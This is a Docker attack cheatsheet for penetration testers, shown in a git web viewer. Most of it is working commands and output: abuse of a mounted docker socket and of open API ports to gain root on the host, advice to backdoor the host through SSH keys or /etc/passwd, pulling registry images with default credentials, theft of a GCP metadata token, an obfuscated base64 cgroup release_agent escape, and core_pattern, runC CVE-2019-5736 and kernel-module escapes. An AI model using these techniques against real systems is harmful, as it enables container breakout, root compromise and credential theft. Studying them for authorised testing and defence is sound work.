daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

docker.md (13957B)


      1 ---
      2 title: "Docker"
      3 section: "Containers"
      4 sectionSlug: "containers"
      5 sourcePath: "docs/containers/docker.md"
      6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/containers/docker.md"
      7 sha: "203bb0c0b290"
      8 isIndex: false
      9 ---
     10 
     11 # Docker
     12 
     13 > Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers.
     14 
     15 ## Summary
     16 
     17 - [Tools](#tools)
     18 - [Mounted Docker Socket](#mounted-docker-socket)
     19 - [Open Docker API Port](#open-docker-api-port)
     20 - [Insecure Docker Registry](#insecure-docker-registry)
     21 - [Exploit privileged container abusing the Linux cgroup v1](#exploit-privileged-container-abusing-the-linux-cgroup-v1)
     22     - [Abusing CAP_SYS_ADMIN capability](#abusing-cap_sys_admin-capability)
     23     - [Abusing coredumps and core_pattern](#abusing-coredumps-and-core_pattern)
     24 - [Breaking out of Docker via runC](#breaking-out-of-docker-via-runc)
     25 - [Breaking out of containers using a device file](#breaking-out-of-containers-using-a-device-file)
     26 - [References](#references)
     27 
     28 ## Tools
     29 
     30 - [kost/dockscan](https://github.com/kost/dockscan) : Dockscan is security vulnerability and audit scanner for Docker installations
     31 
     32     ```powershell
     33     dockscan unix:///var/run/docker.sock
     34     dockscan -r html -o myreport -v tcp://example.com:5422
     35     ```
     36 
     37 - [stealthcopter/deepce](https://github.com/stealthcopter/deepce) : Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
     38 
     39     ```powershell
     40     ./deepce.sh 
     41     ./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
     42     ./deepce.sh --no-enumeration --exploit SOCK --shadow
     43     ./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
     44     ```
     45 
     46 - [orisano/dlayer](https://github.com/orisano/dlayer) : dlayer is docker layer analyzer.
     47 
     48     ```powershell
     49     docker pull orisano/dlayer
     50     docker save image:tag | dlayer -i
     51     ```
     52 
     53 - [wagoodman/dive](https://github.com/wagoodman/dive) : A tool for exploring each layer in a docker image
     54 
     55     ```powershell
     56     alias dive="docker run -ti --rm  -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive"
     57     dive <your-image-tag>
     58     ```
     59 
     60 ## Mounted Docker Socket
     61 
     62 Prerequisite:
     63 
     64 - Socker mounted as volume : `- "/var/run/docker.sock:/var/run/docker.sock"`
     65 
     66 Usually found in `/var/run/docker.sock`, for example for Portainer.
     67 
     68 ```powershell
     69 curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
     70 curl -XPOST –unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create
     71 curl -XPOST –unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start
     72 ```
     73 
     74 Exploit using [brompwnie/ed](https://github.com/brompwnie/ed)
     75 
     76 ```powershell
     77 root@37bb034797d1:/tmp# ./ed_linux_amd64 -path=/var/run/ -autopwn=true        
     78 [+] Hunt dem Socks
     79 [+] Hunting Down UNIX Domain Sockets from: /var/run/
     80 [*] Valid Socket: /var/run/docker.sock
     81 [+] Attempting to autopwn
     82 [+] Hunting Docker Socks
     83 [+] Attempting to Autopwn:  /var/run/docker.sock
     84 [*] Getting Docker client...
     85 [*] Successfully got Docker client...
     86 [+] Attempting to escape to host...
     87 [+] Attempting in TTY Mode
     88 chroot /host && clear
     89 echo 'You are now on the underlying host'
     90 chroot /host && clear
     91 echo 'You are now on the underlying host'
     92 / # chroot /host && clear
     93 / # echo 'You are now on the underlying host'
     94 You are now on the underlying host
     95 / # id
     96 uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
     97 ```
     98 
     99 ## Open Docker API Port
    100 
    101 Prerequisite:
    102 
    103 - Docker runned with `-H tcp://0.0.0.0:XXXX`
    104 
    105 ```powershell
    106 $ nmap -sCV 10.10.10.10 -p 2376
    107 2376/tcp open  docker  Docker 19.03.5
    108 | docker-version:
    109 |   Version: 19.03.5
    110 |   MinAPIVersion: 1.12
    111 ```
    112 
    113 Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in `/mnt`.
    114 
    115 ```powershell
    116 $ export DOCKER_HOST=tcp://10.10.10.10:2376
    117 $ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0  -t ubuntu bash
    118 or
    119 $ docker -H  open.docker.socket:2375 ps
    120 $ docker -H  open.docker.socket:2375 exec -it mysql /bin/bash
    121 or 
    122 $ curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq
    123 $ curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
    124 ```
    125 
    126 From there you can backdoor the filesystem by adding an ssh key in `/root/.ssh` or adding a new root user in `/etc/passwd`.
    127 
    128 ## Insecure Docker Registry
    129 
    130 Docker Registry’s fingerprint is `Docker-Distribution-Api-Version` header. Then connect to Registry API endpoint: `/v2/_catalog`.
    131 
    132 ```powershell
    133 curl https://registry.example.com/v2/<image_name>/tags/list
    134 docker pull https://registry.example.com:443/<image_name>:<tag>
    135 
    136 # connect to the endpoint and list image blobs
    137 curl -s -k --user "admin:admin" https://docker.registry.local/v2/_catalog
    138 curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/tags/list
    139 curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/manifests/latest
    140 # download blobs
    141 curl -s -k --user 'admin:admin' 'http://docker.registry.local/v2/wordpress-image/blobs/sha256:c314c5effb61c9e9c534c81a6970590ef4697b8439ec6bb4ab277833f7315058' > out.tar.gz
    142 # automated download
    143 https://github.com/NotSoSecure/docker_fetch/
    144 python /opt/docker_fetch/docker_image_fetch.py -u http://admin:admin@docker.registry.local
    145 ```
    146 
    147 Access a private registry and start a container with one of its image
    148 
    149 ```powershell
    150 docker login -u admin -p admin docker.registry.local
    151 docker pull docker.registry.local/wordpress-image
    152 docker run -it docker.registry.local/wordpress-image /bin/bash
    153 ```
    154 
    155 Access a private registry using OAuth Token from Google
    156 
    157 ```powershell
    158 curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email
    159 curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token 
    160 docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io
    161 ```
    162 
    163 ## Exploit privileged container abusing the Linux cgroup v1
    164 
    165 Prerequisite (at least one):
    166 
    167 - `--privileged`
    168 - `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` flags.
    169 
    170 ### Abusing CAP_SYS_ADMIN capability
    171 
    172 ```powershell
    173 docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo "cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK" | base64 -d | bash -'
    174 ```
    175 
    176 Exploit breakdown :
    177 
    178 ```powershell
    179 # On the host
    180 docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
    181  
    182 # In the container
    183 mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
    184  
    185 echo 1 > /tmp/cgrp/x/notify_on_release
    186 host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
    187 echo "$host_path/cmd" > /tmp/cgrp/release_agent
    188  
    189 echo '#!/bin/sh' > /cmd
    190 echo "ps aux > $host_path/output" >> /cmd
    191 chmod a+x /cmd
    192  
    193 sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
    194 ```
    195 
    196 ### Abusing coredumps and core_pattern
    197 
    198 1. Find the mounting point using `mount`
    199 
    200     ```ps1
    201     $ mount | head -n 1
    202     overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/YLH6C6EQMMG7DA2AL5DUANDHYJ:/var/lib/docker/overlay2/l/HP7XLDFT4ERSCYVHJ2WMZBG2YT,upperdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff,workdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/work)
    203     ```
    204 
    205 2. Create an evil binary at the root of the filesystem: `cp /tmp/poc /poc`
    206 3. Set the program to be executed on the coredumps
    207 
    208     ```ps1
    209     echo "|/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff/poc" > /proc/sys/kernel/core_pattern
    210     ```
    211 
    212 4. Generate a coredump with a faulty program: `gcc -o crash crash.c && ./crash`
    213 
    214     ```cpp
    215     int main(void) {
    216         char buf[1];
    217         for (int i = 0; i < 100; i++) {
    218             buf[i] = 1;
    219         }
    220         return 0;
    221     }
    222     ```
    223 
    224 5. Your payload should have been executed on the host
    225 
    226 ## Breaking out of Docker via runC
    227 
    228 > The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to.  - Vulnerability overview by the runC team
    229 
    230 Exploit for CVE-2019-5736 : [twistlock/RunC-CVE-2019-5736](https://github.com/twistlock/RunC-CVE-2019-5736)
    231 
    232 ```powershell
    233 docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
    234 docker run --rm cve-2019-5736:malicious_image_POC
    235 ```
    236 
    237 ## Breaking out of containers using a device file
    238 
    239 ```powershell
    240 https://github.com/FSecureLABS/fdpasser
    241 In container, as root: ./fdpasser recv /moo /etc/shadow
    242 Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep 1337")/root/moo
    243 Outside container: ls -la /etc/shadow
    244 Output: -rwsrwsrwx 1 root shadow 1209 Oct 10  2019 /etc/shadow
    245 ```
    246 
    247 ## Breaking out of Docker via kernel modules loading
    248 
    249 > When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only *one* kernel, unlike VMs). This provides a route to an easy container escape.
    250 
    251 Exploitation:
    252 
    253 - Clone the repository : `git clone https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping`
    254 - Build with `make`
    255 - Start a privileged docker container with `docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu`
    256 - `cd /root` in the new container
    257 - Insert the kernel module with `./escape`
    258 - Run `./execute`!
    259 
    260 Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; `/proc/escape` and `/proc/output`.
    261 
    262 - `/proc/escape` only answers to write requests and simply executes anything that's passed to it via [`call_usermodehelper()`](https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html).
    263 - `/proc/output` just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to.
    264 
    265 The clever part is that anything we write to `/proc/escape` gets sandwiched into `/bin/sh -c <INPUT> > /proc/output`. This means that the command is run under `/bin/sh` and the output is redirected to `/proc/output`, which we can then read from within the container.
    266 
    267 Once the module is loaded, you can simply `echo "cat /etc/passwd" > /proc/escape` and then get the result via `cat /proc/output`. Alternatively, you can use the `execute` program to give yourself a makeshift shell (albeit an extraordinarily basic one).
    268 
    269 The only caveat is that we cannot be sure that the container has `kmod` installed (which provides `insmod` and `rmmod`). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the `init_module()` syscall to load the module into the kernel without needing `insmod`. If you're interested, take a look at the Makefile.
    270 
    271 ## References
    272 
    273 - [Hacking Docker Remotely - 17 March 2020 - ch0ks](https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/)
    274 - [Understanding Docker container escapes - JULY 19, 2019 - Trail of Bits](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
    275 - [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
    276 - [Breaking out of Docker via runC – Explaining CVE-2019-5736 - Yuval Avrahami - February 21, 2019](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)
    277 - [CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host - dragonsector.pl](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
    278 - [OWASP - Docker Security CheatSheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md)
    279 - [Anatomy of a hack: Docker Registry - NotSoSecure - April 6, 2017](https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/)
    280 - [Linux Kernel Hacking 3.8: Privileged Container Escapes - Harvey Phillips @xcellerator](https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping)
    281 - [Escaping privileged containers for fun - 2022-03-06 :: Jordy Zomer](https://pwning.systems/posts/escaping-containers-for-fun/)